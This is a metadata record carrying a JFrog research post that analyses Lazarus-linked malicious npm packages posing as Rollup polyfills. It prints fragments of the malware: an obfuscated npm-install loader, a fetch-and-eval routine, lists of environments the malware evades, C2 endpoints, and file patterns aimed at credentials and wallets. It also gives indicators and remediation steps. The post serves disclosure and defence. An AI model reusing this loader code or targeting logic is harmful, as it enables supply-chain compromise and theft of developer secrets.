{
	"id": "607b43ae-977e-4182-bf97-895887c9eb50",
	"created_at": "2026-10-25T02:56:57.616025Z",
	"updated_at": "2026-11-22T02:27:49.41787Z",
	"deleted_at": null,
	"sha1_hash": "cef8b61c7d4e4f4a5a46c3837e0523d87d86d9d5",
	"title": "Lazarus-Linked npm Malware Masquerades as Rollup Polyfills",
	"llm_title": "Lazarus-Linked npm Malware Masquerades as Rollup Polyfills",
	"authors": "Yair Benamou, JFrog",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2839167,
	"plain_text": "https://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nLazarus-Linked npm Malware Masquerades as Rollup Polyfills\n\nBy Yair Benamou\n\nPublished: 2026-06-30 · Archived: 2026-10-25 02:32:13 UTC\n\nThe JFrog Security research team identified a malicious npm package cluster masquerading as Rollup polyfill\n\ntooling. The two entry packages,  rollup-packages-polyfill-core  and  rollup-runtime-polyfill-core , imitate\n\nthe naming, README content, repository metadata, and package shape of the legitimate  rollup-plugin-\n\npolyfill-node  project.\n\nThe legitimate package is widely used in the JavaScript build ecosystem, with ~295K weekly downloads for\n\nrollup-plugin-polyfill-node  and more than 1.2M downloads in the last month. The lookalike packages\n\nplace themselves in the same  rollup ,  polyfill ,  core , and  node  naming space, which can look plausible\n\nduring a quick dependency review.\n\nDuring the investigation, we observed six npm packages:\n\nrollup-packages-polyfill-core\nrollup-runtime-polyfill-core\nswift-parse-stream\nquirky-token\n\nPage 1 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nreact-icon-svgs\nrollup-plugin-polyfill-connect\n\nAt the time of writing,  rollup-plugin-polyfill-connect  and  react-icon-svgs  had received security-holding\n\nversions on npm, while the other four malicious packages were still live.\n\nThe first two packages are the Rollup-themed entry points.  rollup-packages-polyfill-core  installs and loads\n\nswift-parse-stream ;  rollup-runtime-polyfill-core  installs and loads  quirky-token . The second-stage\n\npackages are near-identical SVG utilities that fetch a JSON object from JSONKeeper and  eval  the  model  field.\n\nWe observed the same staging pattern with  react-icon-svgs , which installed  rollup-plugin-polyfill-\n\nconnect  as a second stage. This layered structure, together with the lookalike names, legitimate-looking\n\nmetadata, hidden install-time execution, environment checks, and credential-theft/remote-access payloads, is\n\nsimilar to previous North Korean Lazarus-linked npm campaigns. The key differentiator is the payload\n\ndeployment method, which we analyze in detail below.\n\nBoth Rollup-themed packages copy most of the legitimate  rollup-plugin-polyfill-node  surface:\n\nThe README text describes \"A modern Node.js polyfill for your Rollup bundle.\"\n\nThe repository and homepage point to  https://github.com/FredKSchott/rollup-plugin-polyfill-node .\n\nThe package entry point contains legitimate-looking Rollup polyfill plugin code before the malicious logic.\n\nIn the samples, only the CommonJS  dist/index.js  entry point is backdoored; the ESM\n\ndist/es/index.js  files do not contain the appended install-and-load routine.\n\nThe names remain close to the legitimate project without being exact typos.\n\nPutting the pieces together, the infection chain looks like this:\n\nPage 2 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nThe two entry packages differ mainly in the second-stage package they install. After that, both routes converge on\n\nthe same JSONKeeper payload.\n\nThe malicious logic is appended to otherwise plausible Rollup plugin code. In  rollup-packages-polyfill-core ,\n\nthe import-time install routine is hidden behind benign-looking SVG validation names:\n\nconst ValidateSvgModule = () =\u003e {\n\nconst CMD = Buffer.from(\"bnBtIGluc3RhbGwgc3dpZnQtcGFyc2Utc3RyZWFtIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tb\n\nconst [cmd, ...args] = CMD.split(' ');\n\nconst child = spawn(cmd, args, {\n\nstdio: 'ignore',\n\nshell: process.platform === 'win32',\n\nwindowsHide: true\n\n});\n\n};\n\nThe base64 string in  CMD  decodes to:\n\nnpm install swift-parse-stream --no-save --silent --no-audit --no-fund\n\nThe package then decodes the module name  swift-parse-stream , requires it, retrieves  getPlugin() , and\n\ninvokes the returned function.\n\nconst MODULE_NAME = Buffer.from('c3dpZnQtcGFyc2Utc3RyZWFt', 'base64').toString('utf8');\n\nconst checkPlugin = () =\u003e {\n\ntry {\n\nconst svgo = require(MODULE_NAME);\n\nconst plugin = svgo.getPlugin();\n\nif (plugin) {\n\nPage 3 of 12\n\nconst svgData = '';\n\nplugin();\n\n}\n\n} catch (error) {\n\n}\n\n};\n\nValidateSvgModule();\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nrollup-runtime-polyfill-core  uses the same pattern to install  quirky-token .\n\nThis makes the infection happen when the package is imported as part of a build or configuration flow.\n\nswift-parse-stream  and  quirky-token  present themselves as SVG sanitization utilities. Most of the file is\n\nharmless-looking SVG code: hashing content, removing  \u003cscript\u003e  tags, minifying SVG text, and saving files.\n\nThe real behavior appears at the end of  index.js :\n\nconst reqOptions = {\n\nurl: \"hxxps://www[.]jsonkeeper[.]com/b/3P9BF\",\n\nheaders: {\n\nbearrtoken: \"logo\"\n\n}\n\n};\n\nfunction getPlugin() {\n\nreturn function() {\n\nrequest(reqOptions, (err, res, body) =\u003e {\n\nif (err || res.statusCode !== 200) {\n\n}\n\ntry {\n\nconst parsed = JSON.parse(body);\n\nif (typeof parsed.model === \"string\") {\n\neval(parsed.model);\n\n}\n\n} catch (e) {\n\n}\n\n});\n\n};\n\n}\n\nexecuted directly through  eval .\n\nThe JSONKeeper object contains a key named  model , which contains an obfuscated JavaScript payload that is\n\nPage 4 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nThe JSONKeeper payload starts with environment checks. It exits in several hosted or cloud-like environments,\n\nincluding:\n\nCODESPACE_NAME\n\nCODESANDBOX_HOST\n\nVERCEL\n\nAWS_EXECUTION_ENV\n\nAWS_REGION\n\nAWS_LAMBDA_FUNCTION_NAME\n\nAWS_ACCESS_KEY_ID\n\nGOOGLE_CLOUD_PROJECT\n\nAZURE_FUNCTIONS_ENVIRONMENT\n\nDOCKER\n\nRENDER\n\nGAE_ENV\n\nWEBSITE_SITE_NAME\n\nDYNO\n\nSOCKET_DEV\n\nIt also checks whether the OS release string contains  aws . This looks like an attempt to avoid common\n\nsandboxes, cloud development environments, serverless runtimes, and analysis infrastructure.\n\nAfter the environment gate, the payload installs dependencies and downloads the next stage:\n\nnpm install axios socket.io-client --no-warnings --no-progress --loglevel silent\n\nIt then requests:\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/98cb54c0b4ac259d30c9c1ca1ae87c68\n\nThe response is formatted as  \u003cbase64 IV\u003e:\u003cbase64 ciphertext\u003e  and the payload derives an AES key with:\n\ncrypto.scryptSync(\"98cb54c0b4ac259d30c9c1ca1ae87c68\", \"salt\", 32)\n\nPage 5 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nIt decrypts the ciphertext with  AES-256-CBC , writes the plaintext to  \u003ctmp\u003e/pack , and executes  node pack .\n\nDuring our analysis, the remote service was still live and we managed to retrieve the AES-wrapped JavaScript\n\npayload of roughly 114 KB after decryption.\n\nThe decrypted  pack  stage is a loader for multiple JavaScript payloads. In a sandboxed run with file writes,\n\nnetwork connections, and command execution stubbed out, it attempted to write and launch additional scripts\n\nunder the temp directory:\n\n\u003ctmp\u003e/scdata\n\n\u003ctmp\u003e/ldata\n\nIt also spawned payloads for file collection and clipboard monitoring, which were embedded inside a JSON file:\n\n...\n\n{\n\n\"method\": \"exec\",\n\n\"command\": \"npm i axios \u0026\u0026 node ldata\",\n\n\"options\": {\n\n\"cwd\": \"/tmp\",\n\n\"windowsHide\": true,\n\n\"stdio\": \"ignore\"\n\n}\n\n},\n\n{\n\n\"method\": \"spawn\",\n\n\"command\": \"node\",\n\n\"argv\": [\n\n\"-e\",\n\n\"const m=b;function b(c,d){c=c-(0x9fa*0x1+-0x16e2*-0x1+-0x1ef3);const e=a();let f=e[c];return f;}(functi\n\nThe parent launcher starts the dropped scripts with:\n\nnpm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent \u0026\u0026 node scdata\n\nnpm i axios \u0026\u0026 node ldata\n\nThe recovered behavior splits into four main parts:\n\nscdata.js : remote access and host-control component\n\nldata.js : browser and crypto-wallet data collection component\n\nevents.json  file collector: broad filesystem discovery and upload\n\nevents.json  clipboard watcher: periodic clipboard collection\n\nThe  scdata  payload installs several runtime dependencies:\n\nPage 6 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nnpm install socket.io-client ssh2 node-pty@1.0.0 --no-warnings --no-progress --loglevel silent\nnpm install socket.io-client ssh2 node-pty --no-warnings --no-progress --loglevel silent\nnpm install sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-progress --loglevel sil\nnpm install -g socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent\n\nThe unversioned  node-pty  path and the screen/input packages are Windows-specific. The global  socket.io-\n\nclient  install is used as a fallback if the first Socket.IO setup path fails.\n\nThe payload uses Socket.IO to communicate with:\n\nhxxp[:]//216[.]126[.]236[.]244:4801\n\nIt also posts host and log information to endpoints under:\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/\n\nThe remote access component supports:\n\nhost profiling with OS, release, hostname, user info, UID, and VM markers\n\nVM checks through Windows CIM, macOS  system_profiler , Linux  /proc/cpuinfo , and strings such\n\nas  vmware ,  virtualbox ,  qemu , and  microsoft corporation\n\ncommand execution through  child_process.exec\n\ninteractive terminal sessions through  node-pty , using  powershell.exe  on Windows and  zsh\n\nelsewhere\n\nSSH sessions through the  ssh2  library\n\nterminal resize and terminal input forwarding\n\nWindows-only screenshot capture through  screenshot-desktop  and JPEG conversion through  sharp\n\nWindows-only mouse movement, clicks, scrolling, keyboard presses, and hotkeys through  @nut-tree-\n\nfork/nut-js\n\nWindows-only remote clipboard read and paste handling through  clipboardy\n\nprocess termination and single-instance tracking under a temp  .npm  directory, with a  vhost.ctl\n\nprocess/PID marker\n\nThis component gives the operator interactive control over the infected host, not just one-time data theft.\n\nThe  ldata  payload targets browser profile data and crypto-wallet extension storage. It posts uploads to:\n\nhxxp[:]//216[.]126[.]236[.]244:4809/upload\nhxxp[:]//216[.]126[.]236[.]244:4809/cldbs\n\nThe payload checks common browser profile locations for Windows, macOS, and Linux, including Chrome,\n\nEdge, Brave, Opera, and LT Browser. It attempts to upload files such as:\n\nPage 7 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nLogin Data\n\nLogin Data For Account\n\nWeb Data\n\nLocal Extension Settings/\u003cextension-id\u003e/*\n\nOn macOS, it also attempts to upload:\n\n~/Library/Keychains/login.keychain-db\n\nThe extension ID list includes widely used wallet and browser-extension storage locations. Recovered IDs include\n\nknown wallets such as MetaMask:\n\nnkbihfbeogaeaoehlefnkodbefgpgknn\n\nbfnaelmomeimhlpmgjnjophhpkkoljpa\n\nfhbohimaelbohpjbbldcngcnapndodjp\n\nThe collection logic copies extension storage into a temporary directory before upload, and it repeatedly checks\n\nsome LevelDB paths until the server acknowledges them.\n\nOne inline  node -e  payload performs broad filesystem collection and uploads matching files to:\n\nhxxp[:]//216[.]126[.]236[.]244:4806/upload\n\nIt recursively scans user directories while excluding common noisy or system directories such as  node_modules ,\n\ncaches, build output, package directories, app bundles, and OS folders. The deobfuscated collector handles  .git\n\nspecially: it skips the repository tree but uploads  .git/config  when present. It also contains platform-specific\n\nexpansion logic: Windows logical disks are enumerated with  Get-CimInstance Win32_LogicalDisk , Linux scans\n\ninclude  /mnt , and macOS scans include  ~/Library/Application Support .\n\nThe collector specifically looks for editor history under:\n\nCode/User/History\n\nWindsurf/User/History\n\nCursor/User/History\n\nThe filename and keyword targeting is broad. Recovered patterns include:\n\n*.env*\n\n*.pem\n\n*.key\n\n*.secret\n\n*private key*\n\n*secret phrase*\n\nPage 8 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\n*metamask*\n\n*bitcoin*\n\n*btc*\n\n*solana*\n\n*.json\n\n*.txt\n\n*.csv\n\n*.doc\n\n*.docx\n\n*.xls\n\n*.xlsx\n\n*.pdf\n\n*.png\n\n*.jpg\n\n*.jpeg\n\n*.md\n\n*.rtf\n\n*.odt\n\n*.ini\n\n*.ts\n\n*.js\n\nIt also includes common developer and AI-tool configuration locations such as:\n\n.aws\n\n.azure\n\n.ssh\n\n.gnupg\n\n.config\n\n.foundry\n\n.vscode\n\n.cursor\n\n.windsurf\n\n.gemini\n\n.claude\n\n.bash_history\n\n.zsh_history\n\nThis makes the payload relevant to developer workstations and build machines, where API keys, SSH keys, wallet\n\nmaterial, cloud credentials, and project secrets are often present.\n\nAnother inline payload monitors clipboard contents. It uses:\n\npbpaste\n\npowershell -NoProfile -NonInteractive Get-Clipboard\n\nPage 9 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nWhen the clipboard changes, the payload sends the new value to:\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/makelog\n\nClipboard monitoring is a common way to capture copied credentials, tokens, wallet addresses, seed phrases, and\n\none-time secrets.\n\nThe risk is significant because the compromise sits inside build tooling. Rollup plugins are commonly loaded from\n\nlocal configuration files, developer workstations, and CI jobs. These environments often have access to sensitive\n\nassets such as source code, npm tokens, Git credentials, cloud keys, SSH keys, browser data, and project secrets.\n\nThe payload is also broader than a simple downloader. Once the later stages run, the attacker gains both collection\n\nand control capabilities. One payload collects browser and wallet data, another searches the filesystem for secrets,\n\nanother monitors the clipboard, and the remote access component can run commands, open terminals, start SSH\n\nsessions, capture screenshots, and control input devices.\n\nRecommended actions for users who installed any of these malicious packages:\n\nRemove  rollup-packages-polyfill-core ,  rollup-runtime-polyfill-core ,  swift-parse-stream ,\n\nquirky-token ,  react-icon-svgs , and  rollup-plugin-polyfill-connect  from affected projects and\n\nlockfiles.\n\nInspect dependency trees for transitive pulls of  swift-parse-stream ,  quirky-token , or  rollup-plugin-\n\npolyfill-connect .\n\nSearch developer machines and CI runners for  pack ,  scdata , and  ldata  under temporary directories.\n\nSearch for command lines containing  node pack ,  node scdata ,  node ldata , or inline  node -e\n\nscripts connecting to  216.126.236.244 .\n\nBlock outbound communication to  216.126.236.244  and the JSONKeeper URL listed below.\n\nTreat affected machines as potentially compromised before rotating credentials.\n\nRotate npm, GitHub, cloud, SSH, package-registry, browser-stored, and wallet-related credentials after\n\npersistence and active processes are removed.\n\nAudit browsers for unexpected extension storage access and inspect developer configuration directories for\n\ndata exposure.\n\nThis campaign is effective because each layer appears ordinary when viewed on its own. The entry package looks\n\nlike Rollup polyfill infrastructure. The second-stage package looks like an SVG utility. The JSONKeeper response\n\nappears to be structured data. Only after following the full chain does the real behavior become clear: remote\n\naccess, browser and wallet theft, file collection, and clipboard monitoring.\n\nLookalike build dependencies deserve careful review even when the name is not an obvious typo. A copied\n\nREADME, a trusted repository link, and functional-looking package code can be enough to hide a serious\n\ncompromise.\n\nThese malicious packages are detected by JFrog Xray and JFrog Curation.\n\nPage 10 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nPackage Type Xray ID\n\nrollup-packages-polyfill-core npm XRAY-1008625\n\nrollup-runtime-polyfill-core npm XRAY-1008531\n\nswift-parse-stream npm XRAY-1005725\n\nquirky-token npm XRAY-1003392\n\nrollup-plugin-polyfill-connect npm XRAY-973019\n\nreact-icon-svgs npm XRAY-1011624\n\nhxxps[:]//www[.]jsonkeeper[.]com/b/3P9BF\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/98cb54c0b4ac259d30c9c1ca1ae87c68\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/makelog\n\nhxxp[:]//216[.]126[.]236[.]244/api/service/process/\n\nhxxp[:]//216[.]126[.]236[.]244:4801\n\nhxxp[:]//216[.]126[.]236[.]244:4806/upload\n\nhxxp[:]//216[.]126[.]236[.]244:4809/upload\n\nhxxp[:]//216[.]126[.]236[.]244:4809/cldbs\n\n\u003ctmp\u003e/scdata\n\n\u003ctmp\u003e/ldata\n\nnode pack\n\nnode scdata\n\nnode ldata\n\nvhost.ctl\n\nnpm install swift-parse-stream --no-save --silent --no-audit --no-fund\n\nnpm install quirky-token --no-save --silent --no-audit --no-fund\n\nnpm install axios socket.io-client --no-warnings --no-progress --loglevel silent\n\nnpm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent\n\nnpm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent \u0026\u0026 node scdata\n\nnpm i axios \u0026\u0026 node ldata\n\nnpm install socket.io-client ssh2 node-pty@1.0.0 --no-warnings --no-progress --loglevel silent\n\nnpm install socket.io-client ssh2 node-pty --no-warnings --no-progress --loglevel silent\n\nnpm install -g socket.io-client --save --no-warnings --no-save --no-progress --loglevel silent\n\nnpm install sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-progress --loglevel sil\n\npbpaste\n\npowershell -NoProfile -NonInteractive Get-Clipboard\n\npowershell -NoProfile -Command \"Get-CimInstance Win32_LogicalDisk | Select-Object -ExpandProperty DeviceID\"\n\nPage 11 of 12\n\nhttps://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nSource: https://research.jfrog.com/post/rollup-polyfill-masquerading/\n\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://research.jfrog.com/post/rollup-polyfill-masquerading/"
	],
	"report_names": [
		"rollup-polyfill-masquerading"
	],
	"threat_actors": [],
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			]
		}
	]
}